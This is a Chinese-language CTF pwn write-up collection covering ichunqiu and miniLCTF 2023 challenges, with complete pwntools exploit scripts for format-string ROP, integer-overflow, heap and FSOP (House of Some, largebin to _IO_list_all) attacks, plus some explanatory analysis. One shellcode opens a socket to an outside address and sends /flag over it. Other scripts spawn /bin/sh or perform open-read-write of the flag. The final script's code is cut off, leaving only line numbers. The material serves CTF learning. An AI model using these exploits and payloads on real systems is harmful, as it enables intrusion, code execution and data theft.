    while rop_ptr<len_rop:
        # rop chain addr deploy
        # write addr to arg3, use off2
        # change ptr in arg2, use off1
        addr_write_to_arg3=rop_addr[rop_ptr]
        i=0
        while (addr_write_to_arg3>>(i*8))>0:
            send_fmt(fmtstring(0,(addr_write_to_arg3>>i*8)&0xff,arg2_off)[0])
            i+=1
            send_fmt(fmtstring(0,(arg3_val+i)&0xff,arg1_off)[0])
        
        # reset arg3 to original
        if (arg3_val&0xff)==0:
            send_fmt(fmtstring(0,0x100,arg1_off)[0])
        else:
            send_fmt(fmtstring(0,(arg3_val)&0xff,arg1_off)[0])

        # clear arg4, aka rop target write addr
        send_fmt(f"%{arg3_off}$lln".encode())
        
        # start rop chain content deploy
        cont_write_to_arg4=rop_content[rop_ptr]
        # accelerator: if content==0, then use fmt::lln
        if cont_write_to_arg4==0:
            send_fmt(f"%{arg3_off}$lln".encode())
            rop_ptr+=1
            continue
        i=0
        while (cont_write_to_arg4>>(i*8))>0:
            send_fmt(fmtstring(0,(cont_write_to_arg4>>i*8)&0xff,arg3_off)[0])
            i+=1
            send_fmt(fmtstring(0,(rop_addr[rop_ptr]+i)&0xff,arg2_off)[0])
        rop_ptr+=1

if __name__=="__main__":
    pause()
    init()
    dat=send_fmt(b"%45$p")
    arg1_off=45
    arg1_val=int(dat,16)-0x160
    ret=int(dat,16)-0x1f0


    ropp=ROP(elf)
    rax=ropp.find_gadget(["pop rax","ret"])[0]
    syscall=0x00000000004defe6
    rdi=ropp.find_gadget(["pop rdi","ret"])[0]
    rsi=ropp.find_gadget(["pop rsi","ret"])[0]
    rdx=ropp.find_gadget(["pop rdx","pop rbx","ret"])[0]
    rcx=0x000000000052fb4f
    ret4=0x52fb50
    chain=[rdi,0,rsi,ret+0x40,rdx,0x1000,0,elf.sym.read]
    addr=[]
    for i in range(len(chain)):
        addr.append(ret+i*8)
    bssfmt(arg1_val,arg1_off,addr,chain)
    menu(5)
    pause()
    chain=flat([
        rdi,0,rsi,ret-0x1000,rdx,0x1000,0,elf.sym.read,
        rdi,0,rsi,ret-0x1000,rdx,0,0,rcx,0,elf.sym.openat64,
    ])+b"\x00"*4+p64(ret4)+p64(rdi)+b"\x00"*4+flat([
        3,rsi,ret-0x1000,rdx,0x100,0,elf.sym.read,
        rdi,1,rax,1,syscall
    ])
    s.send(chain)
    pause()
    s.send(b"/flag\x00")
    s.interactive()

Legacy’s parse board

如果你看过一个内核洞的话,大概率会对减法导致的整数溢出敏感性加倍。具体哪个洞我忘了别打我

就比如server的这里,你会发现n是size_t,即unsigned。

这时如果右边恰好是个负数,那左边就可以无限大了。

至于怎么弄个负数出来,让下一次1022-n刚好是-1即可,即第一次n=1021

后一步利用,核心思路可以参考本人在NCTF2024中的nception无leak利用。这里可以先在第一步把shellcode写到board里。由于最后socket和board都会被close掉,再次open的fd可以被预测,之后就简简单单了。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
from pwn import *
context(arch="amd64", os="linux", log_level="debug")
s=process("./client")
elf=ELF("./server")
libc=ELF("./libc.so")

shellcode="""
    /* open new socket */
    /* open new socket */
    /* call socket('AF_INET', SOCK_STREAM (1), 0) */
    push SYS_socket /* 0x29 */
    pop rax
    push AF_INET /* 2 */
    pop rdi
    push SOCK_STREAM /* 1 */
    pop rsi
    cdq /* rdx=0 */
    syscall
    mov r15,rax /* save sockfd in r15 */

    /* Create address structure on stack */
    /* push b'\x02\x00\xc8\x89/a:4' */
    mov rax, 0x101010101010101
    push rax
    mov rax, 0x101010101010101 ^ 0x343a612f89c80002
    xor [rsp], rax

    /* Connect the socket */
    /* call connect('r15', 'rsp', 0x10) */
    push SYS_connect /* 0x2a */
    pop rax
    mov rdi, r15
    push 0x10
    pop rdx
    mov rsi, rsp
    syscall

    /* open(file='/flag', oflag=0, mode=0) */
    /* push b'/flag\x00' */
    mov rax, 0x101010101010101
    push rax
    mov rax, 0x101010101010101 ^ 0x67616c662f
    xor [rsp], rax
    mov rdi, rsp
    xor edx, edx /* 0 */
    xor esi, esi /* 0 */
    /* call open() */
    push SYS_open /* 2 */
    pop rax
    syscall
    mov r14,rax /* save fd in r14 */

    /* sendfile(out_fd='r15', in_fd='r14', offset=0, count=0x100) */
    mov r10d, 0x1010201 /* 256 == 0x100 */
    xor r10d, 0x1010301
    mov rdi, r15
    xor edx, edx /* 0 */
    mov rsi, r14
    /* call sendfile() */
    push SYS_sendfile /* 0x28 */
    pop rax
    syscall

    /* exit(0) */
    xor edi, edi
    push SYS_exit /* 0x3c */
    pop rax
    syscall
"""

if __name__=="__main__":
    pause()
    payload=asm(shellcode)
    s.sendlineafter(b"4.exit\n",b"0")
    s.sendlineafter(b"input len:\n",str(len(payload)).encode())
    s.sendlineafter(b"input content:\n",payload)
    s.sendlineafter(b"4.exit\n",b"2")

    s.sendlineafter(b"4.exit\n",b"0")
    s.sendlineafter(b"input len:\n",str(1022-len(payload)-2).encode())
    s.sendlineafter(b"input content:\n",b"A")

    csu1=0x4017EA
    csu2=0x4017D0
    rbp=0x00000000004011c8
    rbx_rax=0x000000000040177e
    magic=0x401228
    stderr=0x404040
    payload=flat([
        rbp,stderr+0x3d,rbx_rax,0x100000000-libc.sym._IO_2_1_stderr_+libc.sym.mprotect,0,
        magic,
        csu1,0,1,0x404000,0x1000,7,stderr,
        csu2,0,0,1,0x402038,0,0,elf.got.open,
        csu2,0,0,1,3,0x404200,0x100,elf.got.read,
        csu2,0,0,1,0,0,0,0,
        0x404201,
    ])
    s.sendlineafter(b"4.exit\n",b"0")
    s.sendlineafter(b"input len:\n",str(0x1000).encode())
    s.sendlineafter(b"input content:\n",b"A"*0x17+payload)
    s.interactive()

ichunqiu 冬季赛

比赛时间2024.1月末

附件分流

book

记得是largebin打io_list_all

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
s=process("./pwn")
#s=remote("39.106.48.123", 20444)
elf=ELF("./pwn")
libc=ELF("./libc-2.35.so")

def menu(ch):
    s.sendlineafter(b"> ",str(ch).encode())
def add(idx,sz):
    menu(1)
    s.sendlineafter(b"Index:",str(idx).encode())
    s.sendlineafter(b"size :",str(sz).encode())
def delete(idx):
    menu(2)
    s.sendlineafter(b"Index:",str(idx).encode())
def show(idx):
    menu(3)
    s.sendlineafter(b"Index:",str(idx).encode())
    return s.recvline()[:-1]
def edit(idx,content):
    menu(4)
    s.sendlineafter(b"Index:",str(idx).encode())
    s.sendafter(b"content: ",content)

if __name__=="__main__":
    print(b'H\x8bW\x08H\x89\x04$\xffR '.hex())
    pause()
    add(0,0x430)
    add(1,0x100)
    add(2,0x100)
    add(3,0x100)
    delete(0)
    delete(1)
    libc.address=u64(show(0).ljust(8,b"\x00"))-(0x7fb5d2593ce0-0x7fb5d237a000)
    success(hex(libc.address))
    heap_xor_key=u64(show(1).ljust(8,b"\x00"))
    heap_base=(heap_xor_key<<12)
    success(hex(heap_xor_key))
    success(hex(heap_base))
    add(0,0x430)
    delete(2)
    edit(2,p64((libc.sym._IO_list_all)^heap_xor_key)+b"\n")
    add(3,0x100)
    add(4,0x100)
    edit(4,p64(heap_base+0xa40)+b"\n")
    add(5,0x20)
    add(6,0x500)

    magic=0x00000000001675b0+libc.address
    ropp=ROP(libc)
    rdi=ropp.find_gadget(["pop rdi","ret"])[0]
    rsi=ropp.find_gadget(["pop rsi","ret"])[0]
    rdx_rbx=ropp.find_gadget(["pop rdx","pop rbx","ret"])[0]

    fakeio=flat({
        0:b"  sh",
        8:heap_base+0x4a0,
        0xd8:libc.sym._IO_wfile_jumps,
        0x28:1,
        0xa0:heap_base+0x2a0,
    },filler=b"\x00")
    edit(6,fakeio+b"\n")
    fake_wide_data=flat({
        0xe0:heap_base+0x3a0,
        0x168:magic,
        0x1f0:b"/flag\x00",
        0x220:libc.sym.setcontext+61,
        0x230:flat([
            rdi,heap_base+0x490,rsi,0,rdx_rbx,0,0,libc.sym.open,
            rdi,3,rsi,heap_base+0x23a0,rdx_rbx,0x100,heap_base+0x4d0,libc.sym.read,
            rdi,1,libc.sym.write,
        ]),
    },filler=b"\x00")
    
    edit(0,fake_wide_data+b"\n")
    menu(5)
    s.interactive()

nmanager

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
from ctypes import *
import time
context(arch='amd64', os='linux', log_level='debug')
s=process('./nmanager')
s=remote("8.147.132.90",18175)
elf=ELF('./nmanager')
libc=ELF('./libc.so.6')
cdll=CDLL('./libc.so.6')

charset="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
cdll.srand(int(time.time()))
s.sendlineafter(b"nput password: ",charset[cdll.rand()%62])


s.sendlineafter(b"##\n",b"8")

p1=b"A"*8
p2=0
p3=b"C"*8
s.sendafter(b"gender: ",p1)
s.sendlineafter(b"age: ",b"-")
s.sendafter(b"name: ",p3)
s.recvuntil(b"idx")
idx=eval(s.recvuntil(b"]")[:-1])
s.recvuntil(b"name: ")
name=s.recvuntil(b"\n")[:-1]
s.recvuntil(b"age: ")
age=s.recvuntil(b"\n")[:-1]
s.recvuntil(b"gender: ")
gender=s.recvuntil(b"\n")[:-1]
success(f"idx: {idx}, name: {name}")
success(f"age: {age}, gender: {gender}")

libc.address=u64(gender[-6:].ljust(8,b"\x00"))-(0x7fa7fddcfd90-0x7fa7fdda6000)
success(f"libc: {hex(libc.address)}")
s.sendafter(b")\n",b"n")
s.sendlineafter(b"##\n",b"8")
p1=flat([
    0x404500,libc.address+0xebcf1
])
p2=0,
p3=b"A"
s.sendafter(b"gender: ",p1)
s.sendlineafter(b"age: ",b"-")
s.sendafter(b"name: ",p3)
s.sendafter(b")\n",b"Y")
s.interactive()

house of some

以下wp整理自官方WriteUp

你需要了解,scanf输入数字时只吃掉一个负号,他并不会写入内存。(参见hgame2023的一道题)对于本题来说,配合输出invalid choice的choice具体是什么,就可以泄露出libc地址。

每个通过fopen打开的文件,都会在堆上生成一个IO_FILE对象并串联在_IO_list_all上。配合任意地址写0,你已知libc相关地址,那你就可以将刚刚串到_IO_list_all上的指针低位置零,自此你就有了可控的_IO_FILE对象。

随后你可以通过风水,在可控范围内留下一个堆相关地址。随后进入FSOP流程。

有关house of some的研究详见csome的博客,以及enllus1on的进一步研究

题目漏洞是一次任意地址写一字节,注意这一个1字节是不可控的只能为0或者随机,这里使用0

也就是draw分支可以完成一次任意地址写一字节0

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
void draw() {
    char buf[0x100];
    if(magic || !dev || !name) {
        puts("wrong.");
        return;
    }
    size_t addr, length;
    printf("offset> ");
    addr = getint();
    printf("length> ");
    length = getint();
    if(length < 0 || length > 8) {
        puts("wrong.");
        return;
    }
    fread(0x114514000+addr, 1, 1, dev);
    magic = 1;
}

信息泄露需要从default分支进入,这里,可以看到init函数会将stdin等信息放到栈上(反编译并不能直观看出,需要看汇编,或者调试),利用scanf未读入的trick,输入-,使得scanf不写入tmp内,导致栈上数据泄露,实现泄露libc(这个是设计的难点1,虽然可能有部分pwn手会了解过)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
int init() {
    size_t tmp1 = stdin;
    setbuf(tmp1, 0);
    size_t tmp2 = stdout;
    setbuf(tmp2, 0);
    size_t tmp3 = stderr;
    setbuf(tmp3, 0);
}

size_t getint(){
    size_t tmp;
    scanf("%lld", &tmp);
    return tmp;
}

choice = getint();
switch (choice){
 ...
    default:
        printf("invalid option %ld.\n", choice);
        break;
}

综上题目的所有前置信息收集完毕,分别为

任意地址写一字节0 泄露libc地址 所以我们也只能在libc内写一字节0

其他的常规逻辑包括,changename修改name数组,仅仅可以保留2个chunk,并且采用了循环释放的方法,也就是申请1,申请2,申请3的时候释放1,申请4的时候释放2,以此类推。change_dev可以打开一个dev,并可以选择是/dev/null、/dev/urandom、/dev/zero,这里关键的是/dev/zero

解题人需要了解fopen函数会malloc一个堆块作为_IO_FILE管理结构,并头插进入_IO_list_all,使得libc内会存放一个堆地址。(这个是设计的难点2,这个知识点比较偏,但是多次调试可以意识到这个问题)

那么现在来到难点3,这里的难点体现在如何组织已有的信息,整理出一个可行的解题思路。这里的预期解题思路是,在堆内构造fake file,并使用fopen打开一个设备,之后利用一次任意地址写0字节,使得fopen的堆管理块偏移到fake file,最后利用exit(0),完成House of Some攻击(这个是设计的难点5,一种可以绕过IO_validate_vtable的利用手法)

难点4是因为house of some需要利用wide data字段,需要一个指针,但是我们无法泄露heap地址,那么就要做到在不泄露heap地址的情况下,利用堆风水构造出widedata的指针。

总结一下

难点1:选手需要了解scanf未读入造成未初始化变量泄露的trick

难点2:选手需要了解fopen会malloc一个堆块作为_IO_FILEIO管理,并会头插进入_IO_list_all

难点3:选手需要整理已有漏洞于泄露,在极端有限的条件下,构思出攻击思路

难点4:选手需要熟悉Glibc堆管理,利用堆风水在堆上构造一个堆指针作为widedata字段

难点5:由于自编译Glibc,给widedata vtable加上了检查,需要寻找绕过的方法,预期是House of Some攻击(具体见解题脚本House of Some PDF)

最后需要进行orw,题目开了沙箱

编写House_of_some.py和exp.py ,获取flag

House_of_some.py:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
from pwn import *
import time
# context.arch = "amd64"

class HouseOfSome:
    def __init__(self, libc: ELF, controled_addr, zero_addr) -> None:
        self.libc = libc
        self.controled_addr =controled_addr
        self.READ_LENGTH_DEFAULT = 0x400
        self.LEAK_LENGTH = 0x500
        self.zero_addr = zero_addr

        self.fake_wide_data_template = lambda : flat({
            0x18: 0,
            0x20: 1,
            0x30: 0,
            0xE0: self.libc.symbols['_IO_file_jumps'] - 0x48,
        }, filler=b"\x00")

        self.fake_file_read_template = lambda buf_start, buf_end, wide_data, chain, fileno: flat({
            0x00: 0, # _flags
            0x20: 0, # _IO_write_base
            0x28: 0, # _IO_write_ptr
            
            0x38: buf_start, # _IO_buf_base
            0x40: buf_end, # _IO_buf_end
            
            0x70: p32(fileno), # _fileno
            0x82: b"\x00", # _vtable_offset
            0x88: self.zero_addr,
            0xc0: 2, # _mode
            0xa0: wide_data, # _wide_data
            0x68: chain, # _chain
            0xd8: self.libc.symbols['_IO_wfile_jumps'], # vtable
        }, filler=b"\x00")

        self.fake_file_write_template = lambda buf_start, buf_end, chain, fileno: flat({
            0x00: 0x800 | 0x1000, # _flags
            
            0x20: buf_start, # _IO_write_base
            0x28: buf_end, # _IO_write_ptr

            0x70: p32(fileno), # _fileno
            0x68: chain, # _chain
            0x88: self.zero_addr,
            0xd8: self.libc.symbols['_IO_file_jumps'], # vtable
        }, filler=b"\x00")

        self.wide_data_length = len(self.fake_wide_data_template())
        self.read_file_length = len(self.fake_file_read_template(0, 0, 0, 0, 0))
        self.write_file_length = len(self.fake_file_write_template(0, 0, 0, 0))

    def next_control_addr(self, addr, len):
        return addr + len
    
    def read(self, fd, buf, len, end=0):
        addr = self.controled_addr
        f_read_file_0 = self.fake_file_read_template(buf, buf+len, addr+self.read_file_length, addr+self.read_file_length+self.wide_data_length, fd) 
        f_wide_data = self.fake_wide_data_template()
        addr += self.read_file_length + self.wide_data_length
        self.controled_addr = self.next_control_addr(self.controled_addr, (self.read_file_length+self.wide_data_length) * 2)
        f_read_file_1 = self.fake_file_read_template(self.controled_addr, 
                                                     self.controled_addr+self.READ_LENGTH_DEFAULT, 
                                                     addr+self.read_file_length, 
                                                     0 if end else self.controled_addr, 
                                                     0) 
        payload = flat([
            f_read_file_0,
            f_wide_data,
            f_read_file_1,
            f_wide_data
        ])
        assert b"\n" not in payload, "\\n in payload."
        return payload
    
    def write(self, fd, buf, len):
        addr = self.controled_addr
        f_write_file = self.fake_file_write_template(buf, buf+len, addr+self.write_file_length, fd) 
        addr += self.write_file_length
        f_wide_data = self.fake_wide_data_template()
        self.controled_addr = self.next_control_addr(self.controled_addr, self.read_file_length+self.wide_data_length + self.write_file_length)
        f_read_file_1 = self.fake_file_read_template(self.controled_addr, self.controled_addr+self.READ_LENGTH_DEFAULT, addr+self.read_file_length, self.controled_addr, 0) 
        
        payload = flat([
            f_write_file,
            f_read_file_1,
            f_wide_data
        ])
        assert b"\n" not in payload, "\\n in payload."
        return payload
    
    def bomb(self, io: tube, retn_addr):
        payload = self.write(1, self.libc.symbols['_environ'], 0x8)
        io.sendline(payload)
        stack_leak = u64(io.recv(8).ljust(8, b"\x00"))
        log.success(f"stack_leak : {stack_leak:#x}")

        payload = self.write(1, stack_leak - self.LEAK_LENGTH, self.LEAK_LENGTH)
        io.sendline(payload)
        # retn_addr = self.libc.symbols['_IO_file_underflow'] + 390
        log.success(f"retn_addr : {retn_addr:#x}")
        buf = io.recv(self.LEAK_LENGTH)
        offset = buf.find(p64(retn_addr))
        log.success(f"offset : {offset:#x}")

        assert offset > 0, f"offset not find"

        payload = self.read(0, stack_leak - self.LEAK_LENGTH + offset, 0x300)
        io.sendline(payload)

        rop = ROP(self.libc)
        rop.base = stack_leak - self.LEAK_LENGTH + offset
        rop.call('execve', [b'/bin/sh', 0, 0])
        log.info(rop.dump())
        rop_chain = rop.chain()
        assert b"\n" not in rop_chain, "\\n in rop_chain"
        io.sendline(rop_chain)

    def bomb_raw(self, io: tube, retn_addr):
        payload = self.write(1, self.libc.symbols['_environ'], 0x8)
        io.sendline(payload)
        stack_leak = u64(io.recv(8).ljust(8, b"\x00"))
        log.success(f"stack_leak : {stack_leak:#x}")

        payload = self.write(1, stack_leak - self.LEAK_LENGTH, self.LEAK_LENGTH)
        io.sendline(payload)
        # retn_addr = self.libc.symbols['_IO_file_underflow'] + 390
        log.success(f"retn_addr : {retn_addr:#x}")
        buf = io.recv(self.LEAK_LENGTH)
        offset = buf.find(p64(retn_addr))
        log.success(f"offset : {offset:#x}")

        assert offset > 0, f"offset not find"

        payload = self.read(0, stack_leak - self.LEAK_LENGTH + offset, 0x300, end=1)
        io.sendline(payload)

        return stack_leak - self.LEAK_LENGTH + offset
    

if __name__ == "__main__":
    # libc = ELF("./libc-2.38.so.6")
    context.arch = 'amd64'
    libc = ELF("./libc.so.6", checksec=None)
    # libc.address = 0x100000000000
    # print(hex(libc.bss()))
    # print(libc.maps)
    # for k, v in libc.symbols.items():
    #     print(k, hex(v))
    code = libc.read(libc.symbols['_IO_file_underflow'], 0x200)
    print(code)
    tmp = disasm(code)
    print(tmp)

exp.py

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
from pwn import *
from House_of_some import HouseOfSome

context.log_level = 'debug'
context.arch = 'amd64'

# shellcode = asm(
# f"""
# mov rax, {u64(b"/bin/sh"+bytearray([0]))}
# push rax
# mov rdi, rsp
# mov rsi, 0
# mov rdx, 0
# mov rax, 59
# syscall
# """)


shellcode = asm(
f"""
mov rax, {u64(b"./flag" + bytearray([0,0]))}
push rax
mov rdi, rsp
mov rsi, 0
mov rax, 2
syscall

mov rdi, rax
mov rsi, rsp
mov rdx, 0x40
mov rax, 0
syscall

mov rdi, 1
mov rsi, rsp
mov rdx, 0x40
mov rax, 1
syscall
""")

# io = process("./houseofsome")
# io = remote("127.0.0.1", 9999)
io = remote("39.106.48.123", 25077)
tob = lambda x: str(x).encode()

def name(size, content):
    io.sendlineafter(b"> ", b"1")
    io.sendlineafter(b"size> ", tob(size))
    io.sendafter(b"name> ", content)

def dev(idx):
    io.sendlineafter(b"> ", b"2")
    io.sendlineafter(b"dev> ", tob(idx))
    
def draw(offset, length):
    io.sendlineafter(b"> ", b"3")
    io.sendlineafter(b"offset> ", tob(offset))
    io.sendlineafter(b"length> ", tob(length))

def leave():
    io.sendlineafter(b"> ", b"5")

io.sendlineafter(b"> ", b"-")
io.recvuntil(b"invalid option ")
leak = int(io.recvuntil(b".", drop=True))
log.success(f"leak : {leak:#x}")
libc_base = leak - 0x2207a0
log.success(f"libc_base : {libc_base:#x}")

libc = ELF("./libc.so.6", checksec=None)
libc.address = libc_base
# dev(1)

name(0x2b0-1, flat({
    0x260: {
        0x18: 0,
        0x20: 1,
        0x30: 0,
    }
}, filler=b"\x00") + b"\n")
name(0x1f00-0x730-1, b"aa" + b"\n")
name(0x400-1, b"aa" + b"\n")
name(0x590-1, flat({
    0xe0-0x60: libc.symbols['_IO_file_jumps'] - 0x48
}, filler=b"\x00") + b"\n")
name(0x50-1, b"aa" + b"\n")
name(0x600-1, b"aa" + b"\n")
name(0x610-1, b"aa" + b"\n")
name(0x300-1, b"aa" + b"\n")
name(0x2f0-1, b"aa" + b"\n")
name(0x360-1, b"aa" + b"\n")
name(0x210-1, b"aa" + b"\n")
# name(0x80-1, b"aa" + b"\n")

environ = libc.symbols['__environ']

name(0xb0-1, flat({
    0x00: 0, # _flags
    0x20: 0, # _IO_write_base
    0x28: 0, # _IO_write_ptr
    
    0x38: environ+8, # _IO_buf_base
    0x40: environ+8+0x400, # _IO_buf_end
 
    0x70: 0, # _fileno
    0x68: environ+8, # _chain
    0x82: b"\x00", # _vtable_offset
    0x88: environ-0x10,
    0xa0: b"\n"
}, filler=b"\x00"))

name(0x20-1, flat({
    0xc0-0x20-0xa0: 2, # _mode
    0xd8-0x20-0xa0: libc.symbols['_IO_wfile_jumps'], # vtable
}, filler=b"\x00")[:-1] + b"\n")

dev(2)
draw(libc.symbols["_IO_list_all"] - 0x114514000, 1)
leave()

hos = HouseOfSome(libc, environ+8, environ-0x10)


stack = hos.bomb_raw(io, libc.symbols["_IO_flush_all"] + 481)
log.success(f"stack : {stack:#x}")

pop_rdx = 0x0000000000096272 + libc_base

rop = ROP(libc)
rop.base = stack
# print(rop.gadgets)
# print(rop.rdx)
rop.raw(pop_rdx)
rop.raw(7)
rop.call('mprotect', [stack & (~0xfff), 0x1000])
rop.raw(stack + 0x40)
log.info(rop.dump())
rop_chain = rop.chain()

# gdb.attach(io, gdbscript=
# """
# # b free
# # b malloc
# # c
# # b *(_IO_flush_all+341)
# # c
# b mprotect
# c
# """,api=True)

assert b"\n" not in rop_chain, "\\n in rop_chain"
io.sendline(rop_chain + shellcode)

context.log_level = 'info'
io.interactive()

miniLCTF 2023 Pwn WriteUp

拖了接近一年的复现,当年直接被打爆了。

现在看来之前NCTF确实有些自以为是了,自以为没人发现的无leak利用trick其实早就被出过题了。

本片文章也是基于官方wp的记录,有些题直接洗稿了,有些题加了一些自己的理解。

官方WriteUp详见:miniLCTF 2023 Pwn WriteUp

附件同理,且已开源。

一个只会咕咕咕的pwn手

3calls

有点tricky的一个题。

给了libc基址,允许三次libc函数的调用,无法控制参数。

如果能system("/bin/sh")那最好,但你要找一个能写到可控的地方,rdi还不能变。

gets/puts会在开头给_IO_stdfile_0_lock/_IO_stdfile_1_lock加锁,结尾时解锁。这个指针指向的地址可写。

假设我第一个gets啥都不干,此时_IO_stdfile_0_lock变为rdi,第二个gets写入/bin/sh\x00,第三个函数就可以system("/bin/sh")了。

然后发现并不能拿shell。提示sh: 1: /bin.sh: not found,调一下发现解锁的时候会把锁结构的一个地方-1,正好是字符串范围的内容。好办,+1即可,即/bin0sh\x00

twins

现在来看就很简单了,无leak的ret2libc。

这里略过。

broken_machine

大概流程如下:

  • 最开始注册了一个SIGSEGV的handler,说点废话然后退出

  • 通过fgets读0x400字节到bss上

  • 查一下里面有几个n(后续会有sprintf造成的fmt),如果n的个数不超过1,进入后续流程

  • 在0x1000的位置mmap一段rwx,最后跳过去执行

    但是众所周知linux里面mmap_min_addr是0x10000,详见此处

    如此一来,显然最后跳过去会SIGSEGV寄掉

  • sprinf拷贝过去,然后说点废话,改r-x,开沙箱,跳过去

沙箱的问题用更新的系统调用openat2就可以当他不存在,只要对着调用表恩冲就能冲出来。

但问题不仅仅是可执行字符shellcode,还有你怎么劫持执行流。

给你一次fmt的机会,你能干什么呢?

预期解

后来在选手wp中看到了提示:

栈里面怎么会有ld地址,这是什么?

看来是给了方向之后,乱搞之,通过backtrace搞懂他是怎么炸掉的,基本就出了。

在栈上找找指针吧,比如那个略长的,紫色的,一看就没怎么用过。

如果有调试符号,这里就能看到他是_rtld_local结构体的地址,指向这个结构体的第一项,准确来说是:_rtld_global.dl_ns[0]._ns_loaded,这里的_ns_loaded指向一个struct link_map结构体。

所以完整的指针链是stack | -> _rtld_local -> _rtld_global -> dl_ns[0] -> _ns_loaded | -> link_map (-> l_addr)

有什么用呢?

你有想过.fini.array到底是怎么调用的吗?

进入到exit()->_dl_fini()函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
            // l = _rtld_global.dl_ns[0]._ns_loaded->link_map
            // DT_FINI_ARRAY = 26
            // DT_FINI_ARRAYSZ = 28
              if (l->l_info[DT_FINI_ARRAY] != NULL)
            {
              ElfW(Addr) *array =
                (ElfW(Addr) *) (l->l_addr
                        + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
              unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
                        / sizeof (ElfW(Addr)));
              while (i-- > 0)
                ((fini_t) array[i]) ();
            }

以开没开PIE做区分,l->addrl->l_info[DT_FINI_ARRAY]->d_un.d_ptrl->l_info[DT_FINI_ARRAYSZ]->d_un.d_val的取值大概是这样:

PIE l->addr l->l_info[DT_FINI_ARRAY]->d_un.d_ptr l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
0 0 &.fini.array 0x8
1 elf.address &.fini.array 0x8

若自己注册了__attribute__((destructor))的函数,盲猜会使d_un.d_val的值变化。

他最后执行的时候取的是函数指针,你现在可以控制l->addr.bss的内容,.bss.fini.array离的不是特别远,前面放shellcode,然后放fmt的payload,最后算好长度放函数指针,就能通过上述路径劫持执行流。

现在看来,这种攻击方式的成立点在于,1次fmt,bss上有大段可控就能打。但鉴于fmt这东西很好查,感觉实战意义不大。最多的可能是让你有兴趣去看看一个程序从出生到入土的过程中都发生了什么。

挖坑.jpg

非预期

选手wp中有一个非预期解法。后面的沙盒被绕过去了。

如果你让sprintf在改完l->addr之后炸掉,后面的沙盒就不会执行,这题的shellcode部分就会退化一点。

ezbook

核心问题是条件竞争导致的堆溢出。

程序先sizes[sizes_cnt++]=sizes_t,然后读入数据,然后开个线程检查,如果不跟其他项完全一样就加入books[books_cnt++]=buf,否则free掉并--size_cnt

看起来各个变量都开了锁,但是注意到size的锁和book的锁并未同时起作用,特殊情况下可能导致sizebook不对应。

假设第i个create操作会失败且耗时较长,第i+1个create操作会成功,此时设想下列过程:

id main thread sizes_opt books_opt
i create(0x800,0x800) - sizes[i]=(0x800,0x800) -
- - check_create(i) - -
i+1 create(0x20,0x20) still_checking_create(i) sizes[i+1]=(0x20,0x20) -
- - check_create(i+1)
check_create(i)==-1 FAIL
sizes_cnt–
sizes_cnt now is i
aka size[i]=(0x800,0x800)
books[i]=(0x20,0x20)

如此便可以堆溢出,那怎么泄露地址呢?

所有新开线程泄露出来的地址都不能稳定算出与libc的距离。这里的free只能用主线程的free。把之前竞争用的unsorted bincreate申请回来,再editshow就能泄露地址了。

所有的输入输出写入内存都不存在0截断,所以可以随便玩。2.27不查counts,可以直接改fd硬拿。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
